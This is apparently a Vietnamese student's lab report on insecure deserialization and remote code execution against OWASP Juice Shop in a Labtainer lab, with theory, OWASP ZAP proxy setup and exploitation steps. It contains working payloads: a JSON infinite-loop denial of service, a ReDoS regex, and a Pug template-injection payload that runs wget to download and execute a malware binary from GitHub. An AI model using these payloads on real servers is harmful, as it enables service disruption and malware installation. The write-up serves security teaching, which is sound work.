



















Preview text:
  lOMoAR cPSD| 58647650
HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG  
KHOA AN TOÀN THÔNG TIN 
THỰC HÀNH AN TOÀN ỨNG DỤNG WEB VÀ  CƠ SỞ DỮ LIỆU 
BrokenAuthenticationandSession  Management 
Giảngviênhướngdẫn 
: NinhThịThuTrang  Họvàtênsinhviên 
: NguyễnQuốcVượng  Mãsinhviên 
: B21DCAT 227  Lớp  : D21CQAT03-B  Nhóm  :01  HàNội–2024        lOMoAR cPSD| 58647650  
Mục lục 
1. Tìm hiểu lý thuyết  2 
Lý thuyết về Insecure Deserialization  2  Quá trình Deserialization  2 
Các bước tấn công Insecure Deserialization  3 
Các loại dữ liệu phổ biến dễ bị ảnh hưởng  3 
Phòng chống Insecure Deserialization  3 
2. Nội dung thực hành  4  3. Kết luận:  19  Insecure Deserialization:  19 
Bài học chính rút ra từ bài thực hành:  20   
Bài thực hành: Broken Authentication and Session Management 
1. Tìm hiểu lý thuyết 
Lý thuyết về Insecure Deserialization 
Insecure Deserialization (mã hóa và giải mã không an toàn) là một lỗ 
hổng bảo mật nghiêm trọng xuất hiện khi dữ liệu ược deserialized (giải 
mã từ ịnh dạng lưu trữ về ối tượng ban ầu) mà không có các kiểm tra 
tính hợp lệ hoặc bảo mật. Nếu quá trình deserialization không ược thực 
hiện an toàn, kẻ tấn công có thể thao túng dữ liệu ể thực thi mã ộc hoặc 
thao túng ứng dụng theo ý mình. 
Quá trình Deserialization 
Serialization là quá trình chuyển ổi dữ liệu (chẳng hạn ối tượng hoặc 
cấu trúc dữ liệu) thành ịnh dạng lưu trữ hoặc truyền tải (ví dụ: chuỗi ký 
tự JSON, XML, hoặc binary). Quá trình deserialization là hành ộng 
ngược lại, tức là chuyển ổi dữ liệu từ ịnh dạng ã ược lưu trữ hoặc 
truyền tải về dạng ối tượng gốc. 
Nếu một ứng dụng thực hiện deserialization mà không kiểm soát dữ liệu 
nguồn, kẻ tấn công có thể ưa vào chuỗi mã hóa ã bị chỉnh sửa, dẫn ến  việc:      lOMoAR cPSD| 58647650
● Remote Code Execution (RCE): Kẻ tấn công có thể thực thi mã  ộc từ xa. 
● Thay ổi logic ứng dụng: Thay ổi trạng thái hoặc hành vi của ứng 
dụng theo cách bất hợp pháp. 
● Bypass authentication: Kẻ tấn công có thể bypass các cơ chế 
xác thực hoặc ủy quyền, giành quyền truy cập trái phép. 
Các bước tấn công Insecure Deserialization 
● Kẻ tấn công tạo payload ộc hại: Kẻ tấn công tạo ra chuỗi dữ 
liệu ã ược serialized với các nội dung ộc hại. 
● Kẻ tấn công gửi payload ến ứng dụng: Payload có thể ược 
gửi qua yêu cầu HTTP, WebSocket, hoặc bất kỳ kênh nào cho 
phép truyền dữ liệu serialized. 
● Ứng dụng giải mã dữ liệu: Ứng dụng deserializes dữ liệu mà 
không kiểm tra tính hợp lệ, và payload ộc hại ược thực thi. 
● Thực hiện hành ộng bất hợp pháp: Dữ liệu bị giải mã có thể bao 
gồm mã ộc hoặc các hành ộng có thể thay ổi hành vi ứng dụng, 
dẫn ến việc thực thi mã ộc hoặc thay ổi dữ liệu. 
Các loại dữ liệu phổ biến dễ bị ảnh hưởng 
● JSON, XML: Các ịnh dạng dữ liệu phổ biến trong việc trao ổi dữ 
liệu API thường ược sử dụng trong deserialization và có thể dễ bị 
khai thác nếu không ược kiểm soát kỹ lưỡng. 
● Binary formats: Đặc biệt là các ịnh dạng nhị phân trong ngôn ngữ 
như Java, Python (pickle), PHP, Ruby, có thể gây ra lỗ hổng nếu 
việc xử lý không an toàn. 
Phòng chống Insecure Deserialization 
● Không tin tưởng dữ liệu 
ầu vào: Không nên tin tưởng dữ liệu 
từ người dùng hoặc bất kỳ nguồn bên ngoài nào khi  deserialization. 
● Kiểm tra và xác thực dữ liệu: Trước khi deserializing dữ liệu, cần 
có các bước kiểm tra và xác thực dữ liệu chặt chẽ, ảm bảo dữ liệu 
không bị thay ổi hoặc chứa mã ộc. 
● Sử dụng các thư viện an toàn: Khi cần phải deserialization, nên 
sử dụng các thư viện hoặc framework bảo mật, có khả năng kiểm 
soát chặt chẽ quá trình này và phát hiện những chuỗi dữ liệu  không hợp lệ.      lOMoAR cPSD| 58647650
● Sử dụng các lớp sandbox: Chạy quá trình deserialization trong 
môi trường kiểm soát hoặc lớp sandbox, hạn chế quyền truy cập 
của mã có khả năng gây hại. 
● Ký dữ liệu serialized: Để ngăn việc dữ liệu bị thay ổi, dữ liệu 
serialized có thể ược ký (ví dụ: bằng thuật toán mã hóa) ể phát 
hiện mọi sự thay ổi không hợp lệ. 
2. Nội dung thực hành 
Chuẩn bị lab  -  Khởi ộng lab:  labtainer web-insdes   
(Chú ý: sinh viên sử dụng Mã sinh viên của mình ể nhập thông tin email 
người thực hiện bài lab khi có yêu cầu trong terminal, ể sử dụng khi  chấm iểm.)  - 
Bài lab cung cấp các tài khoản ã ược cấu hình sẵn  User  Password  Systems  admin@juice.org  admin123  Admin for web login  jim@juice.org  ncc-1701  web login  Ubuntu  ubuntu  Student workstation  Ubuntu  ubuntu  vulnerable server      lOMoAR cPSD| 58647650  
4. Cấu hình mạng 
● Máy student workstation (web-insdes) ược cấu hình có ịa chỉ ip là 
192.168.99.101, còn server (web-insdes-server) có ịa chỉ ip  là 192.168.99.100     
Các nhiệm vụ 
Nhiệm vụ 1: Kiểm tra kết nối giữa 2 máy ảo ược cung cấp 
- Sử dụng lệnh ping từ máy Student Workstation ping  192.168.99.100   
Nhiệm vụ 2: Mở trình duyệt web Firefox 
● Ở terminal của máy student gõ lệnho firefox &      lOMoAR cPSD| 58647650  
● Lệnh này sẽ khởi ộng firefox, sau ó mở ịa chỉ ip 
của server:o http://192.168.99.100:3000       
Nhiệm vụ 3: Mở và cài ặt OWASP ZAP 
● Ở terminal của máy student chạy lệnh sau  o owasp-zap &      lOMoAR cPSD| 58647650  
● Ứng dụng OWASP ZAP ược mở và chọn các y/c sau: 
o Chọn “yes, I want to persist this session with the name 
based on the current timestamp” rồi nhấn start. 
o Nếu bạn ược nhắc “Manage Add-on”, chọn close   
Nhiệm vụ 4: Cấu hình ể sử dụng OWASP ZAP như proxy Mục tiêu 
của nhiệm vụ này là cài ặt OWASP ZAP ể hoạt ộng và cho phép bắt gói 
tin từ máy tính sinh viên trên trình duyệt web-xss. Trong phần thiết lập 
của Firefox, cấu hình theo các bước sau ây: 
● Trên Firefox của máy tính sinh viên, mở "Preferences".      lOMoAR cPSD| 58647650  
● Trong cửa sổ tìm kiếm, gõ "proxy".   
● Trong Cài ặt proxy mạng, chọn "Cài ặt". 
● Chọn "Cấu hình proxy thủ công". 
● Trong phần Proxy HTTP: sử dụng "127.0.0.1" và Cổng "8080". 
● Cũng chọn "Sử dụng máy chủ proxy này cho tất cả các giao 
thức".● Nhấp vào "ok" ể chấp nhận các cài ặt.      lOMoAR cPSD| 58647650  
Cài ặt trên ảm bảo Firefox sử dụng OWASP Zap làm proxy. Thực hiện 
các bước sau ể ảm bảo Firefox ang kết nối và sử dụng ZAP như là  proxy: 
● Làm mới trang web "192.168.99.100:3000". 
● Một cảnh báo bảo mật với thông báo "Kết nối của bạn không 
antoàn" sẽ ược hiển thị.   
● Phải chấp nhận thông báo cảnh báo này. Để làm iều ó, nhấpvào  "Advanced". 
● Nó sẽ hiển thị chứng chỉ SSL và nên hiển thị      lOMoAR cPSD| 58647650
"SEC_ERROR_UNKOWN ISSUE". Bấm "Add Exception" ể sử  dụng chứng chỉ này. 
● Một cửa sổ xác nhận sẽ hiện ra, xác nhận ngoại lệ bằng 
cáchnhấp vào "Confirm Security Exception".   
Nhiệm vụ 5: Truy cập các khu vực bị hạn chế 
● Mục tiêu của nhiệm vụ này là ể xem quyền truy cập nào ượcphép 
và ể xác ịnh liệu bạn có thể truy cập vào một phần bị hạn chế, nếu 
bạn truy cập ược thì sẽ ược phép làm bất cứ iều gì. Theo OWASP 
WSTG-ATHZ-01, một trong những việc ầu tiên khi xem một trang 
web là xem bạn có quyền truy cập vào những URL và thư mục 
nào. Tiến hành khảo sát trang web cơ bản sử dụng trình thu thập 
dữ liệu trang web là phương pháp ưa thích ể thu thập dữ liệu trên  trang web 
● Ví dụ 1: Khảo sát trang web 
● Phần sau ây sẽ cho phép OWASP Zap thu thập dữ liệu trangweb 
ể xác ịnh xem ường dẫn nào có thể truy cập ược. 
o Mở OWASP Zap và thực hiện quét trang web trên ịa chỉ IP:  192.168.99.100:3000      lOMoAR cPSD| 58647650  
o Bạn có thấy bất kỳ liên kết nào ến các trang quản trịkhông? 
o Vui lòng lưu kết quả quét của bạn từ OWASP Zap, lưu 
nóvào màn hình nền và ặt tên cho nó “traversal.html” nếu 
traversal không phải là một tùy chọn, hãy lưu toàn bộ báo  cáo.   
Nhiệm vụ 6: Remote Code Execution – Sử dụng POST và JSON 
● Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi mã bằng 
cáchsử dụng POST và JSON. Dựa theo OWASP WSTG 4.7.11.2  ể      lOMoAR cPSD| 58647650
kiểm tra các lỗ hổng bao gồm remote file và code inclusion. File và 
Code inclusion cho phép kẻ tấn công chèn file và oạn code, 
thường khai thác tính năng “include tệp ộng” thực hiện trong ứng 
dụng mục tiêu. Lỗ hổng xảy ra do việc sử dụng thông tin ầu vào 
do người dùng cung cấp mà không ược xác thực hợp lệ. 
● Thực hiện các bước bên dưới ể thực hiện thực thi mã từ xa.o Sau 
khi xem xét các URL ược tìm thấy trong Nhiệm vụ 4, bạn sẽ tìm 
thấy API Swagger theo tài liệu ược lưu trữ tại 
https://192.168.99.100:3000/api-docs mô tả API B2B.   
o API này cho phép POST các ơn hàng trong ó các dòngơn 
hàng có thể ược gửi dưới dạng JSON ( orderLines ) và còn 
dưới dạng Chuỗi ( orderLinesData ). 
o Ví dụ ã cho về orderLinesDate chỉ ra rằng Chuỗi này có thể 
ược phép chứa JSON tùy ý: [{"productId": 12,"quantity": 
10000,"customerReference": ["PO0000001.2", 
"SM20180105|042"],"couponCode": "pes[Bh.u*t"},...] 
o Nhấp vào nút Try và không thay ổi bất cứ iều gì, nhấp 
vàoThực thi ể xem API có hoạt ộng hay không và cách thức 
hoạt ộng. Điều này sẽ khiến bạn gặp lỗi 401 Unauthorized 
o Quay lại ứng dụng, ăng nhập với tư cách người dùng bấtkỳ 
và sao chép Token của bạn từ Authorization Bearer header 
sử dụng DevTools của trình duyệt web.      lOMoAR cPSD| 58647650   o Quay lại 
https://192.168.99.100:3000/api-docs/#/Order/post_orders 
nhấp vào Authorize và paste Token vào form Value 
o Nhấp vào Try và Execute ể xem response 200 OK   
o Quá trình insecure JSON deserialization sẽ thực thi bất 
kỳlệnh gọi hàm nào ược xác ịnh trong chuỗiJSON, vì vậy tải 
trọng có thể có cho một cuộc tấn công DoS sẽ là một vòng 
lặp vô tận. Thay code ví dụ với {"orderLinesData": "(function 
dos() { while(true); })()"} trong trường Request Body. Nhấp  vào execute.      lOMoAR cPSD| 58647650  
o Máy chủ sẽ phản hồi với 200 OK sau khoảng 2 giây. 
o Nếu yêu cầu của bạn tạo vòng lặp vô hạn thành công, thử 
thách sẽ ược ánh dấu là giải quyết   
Nhiệm vụ 7: Remote Code Execution – sử dụng XML 
● Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi mã bằng XML 
● Thực hiện các bước bên dưới ể thực hiện thực thi mã từ xa. o Sau 
khi xem xét các URL ược tìm thấy trong Nhiệm vụ 4, bạn sẽ tìm thấy      lOMoAR cPSD| 58647650
API Swagger theo tài liệu ược lưu trữ tại 
https://192.168.99.100:3000/api-docs mô tả API B2B. 
o API này cho phép POST các ơn hàng trong ó các dòngơn 
hàng có thể ược gửi dưới dạng JSON ( orderLines ) và còn 
dưới dạng Chuỗi ( orderLinesData ). 
o Ví dụ ã cho về orderLinesDate chỉ ra rằng Chuỗi này có 
thểược phép chứa JSON tùy ý: [{"productId": 12,"quantity": 
10000,"customerReference": ["PO0000001.2", 
"SM20180105|042"],"couponCode": "pes[Bh.u*t"},...] 
o Nhấp vào nút Try và không thay ổi bất cứ iều gì, nhấp 
vàoThực thi ể xem API có hoạt ộng hay không và cách thức 
hoạt ộng. Điều này sẽ khiến bạn gặp lỗi 401 Unauthorized 
o Quay lại ứng dụng, ăng nhập với tư cách người dùng bấtkỳ 
và sao chép Token của bạn từ Authorization Bearer header 
sử dụng DevTools của trình duyệt web.  o Quay lại 
https://192.168.99.100:3000/api-docs/#/Order/post_orders 
nhấp vào Authorize và paste Token vào form Value 
o Nhấp vào Try và Execute ể xem response 200 OKo Quá 
trình insecure JSON deserialization sẽ thực thi bất kỳ lệnh 
gọi hàm nào ược xác ịnh trong chuỗiJSON, vì vậy tải trọng 
có thể có cho một cuộc tấn công DoS sẽ là một vòng lặp vô 
tận. Thay code ví dụ với {"orderLinesData": 
"/((a+)+)b/.test('aaaaaaaaaaaaaaaaaaaaaaaaaaaaa')"} trong 
trường Request Body. Nhấp vào execute. Việc này sẽ kích 
hoạt biểu thức chính quy sau khi ược thực thi.      lOMoAR cPSD| 58647650  
o Máy chủ cuối cùng sẽ phản hồi với trạng thái 503 Service  Unavailable.   
Nhiệm vụ 8: Thực thi code bất kì 
● Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi code tùy ý 
● Sử dụng các bước ược liệt kê bên dưới ể thực thi mã tùy ýnhằm 
lây nhiễm phần mềm ộc hại vào máy chủ. 
o Xem xét Nhiệm vụ 4.5 sẽ tiết lộ một thư mục con của ftptại: 
https://192.168.99.100:3000/ftp/quarantine      lOMoAR cPSD| 58647650  
o Mục tiêu của bạn là RCE ể làm cho máy chủ tải xuống 
vàthực thi phiên bản phần mềm ộc hại cho hệ iều hành máy 
chủ, vì vậy trên Linux bạn có thể muốn chạy, hãy gõ lệnh  sau:  o wget -O malware 
https://github.com/J12934/juicymalware/blob/m 
aster/juicy_malware_linux_amd_64?raw=true && chmod 
+x malware && ./malware o Nhận ra rằng 
https://192.168.99.100:3000/profile không phải là Angular. Có 
nghĩa là trang là ược viết bằng Pug, ây là một Template engine 
và do ó hoàn toàn phù hợp với SSTI 
o Đặt username của bạn thành 1+1 và nhấp vào Đặt tên  người 
dùng. Tên người dùng của bạn sẽ chỉ ược hiển thị là 1+1  avatar      lOMoAR cPSD| 58647650  
o Thử template Injection với Pug, ặt Tên người dùng 
thành#{1+1} và nhấp vào Đặt tên người dùng. tên người 
dùng bây giờ sẽ ược hiển thị là 2 dưới ảnh hồ sơ!   
● Tạo một payload sẽ lạm dụng việc thiếu óng gói ối 
tượngglobal.process của JavaScript ể tải ộng một thư viện cho 
phép bạn sinh ra một tiến trình trên máy chủ mà sau ó sẽ tải xuống 
và thực thi phần mềm ộc hại. Payload sẽ giống như sau: 
● #{global.process.mainModule.require('child_process').exec  ('wget -O malware 
https://github.com/J12934/juicymalware/blob/master/juicy_mal      lOMoAR cPSD| 58647650
ware_linux_amd_64?raw=true && chmod +x malware &&  ./malware')}    Kiểm tra trong OWASP:   
3. Kết luận: 
Insecure Deserialization: 
Trong bài thực hành này, chúng ta ã tìm hiểu về việc khai thác lỗ hổng 
Insecure Deserialization, một lỗ hổng rất nguy hiểm nếu không ược xử  lý cẩn thận.      lOMoAR cPSD| 58647650
Bài học chính rút ra từ bài thực hành: 
1. Hiểu rõ quá trình deserialization: Quá trình này có thể dễ bị khai 
thác nếu không có các kiểm tra tính hợp lệ. Kẻ tấn công có thể lợi 
dụng ể thực hiện các cuộc tấn công như Remote Code Execution 
(RCE), bypass authentication, hoặc thay ổi logic của ứng dụng. 
2. Tầm quan trọng của bảo mật dữ liệu ầu vào: Chúng ta cần 
hiểu rõ rằng không ược tin tưởng bất kỳ dữ liệu nào từ bên ngoài, 
ặc biệt là dữ liệu ược truyền qua các giao thức như HTTP, JSON,  XML. 
3. Thực hiện kiểm tra chặt chẽ: Việc kiểm tra và xác thực dữ liệu 
trước khi deserialization là rất quan trọng. Điều này ngăn kẻ tấn 
công truyền tải dữ liệu ộc hại vào hệ thống. 
4. Sử dụng các phương pháp phòng chống: Sử dụng ký số cho 
dữ liệu serialized, sử dụng các thư viện bảo mật, và chạy 
deserialization trong môi trường an toàn ều là những phương 
pháp hữu hiệu ể phòng ngừa lỗ hổng này. 
Qua bài thực hành này, chúng ta ã nhận ra rằng Insecure 
Deserialization không chỉ gây thiệt hại cho hệ thống mà còn tạo ra 
nhiều cơ hội cho kẻ tấn công lợi dụng các iểm yếu trong hệ thống nếu 
không ược bảo vệ úng cách. Việc áp dụng các biện pháp bảo mật 
chặt chẽ trong quá trình deserialization là cần thiết ể giảm thiểu rủi ro và  bảo vệ hệ thống.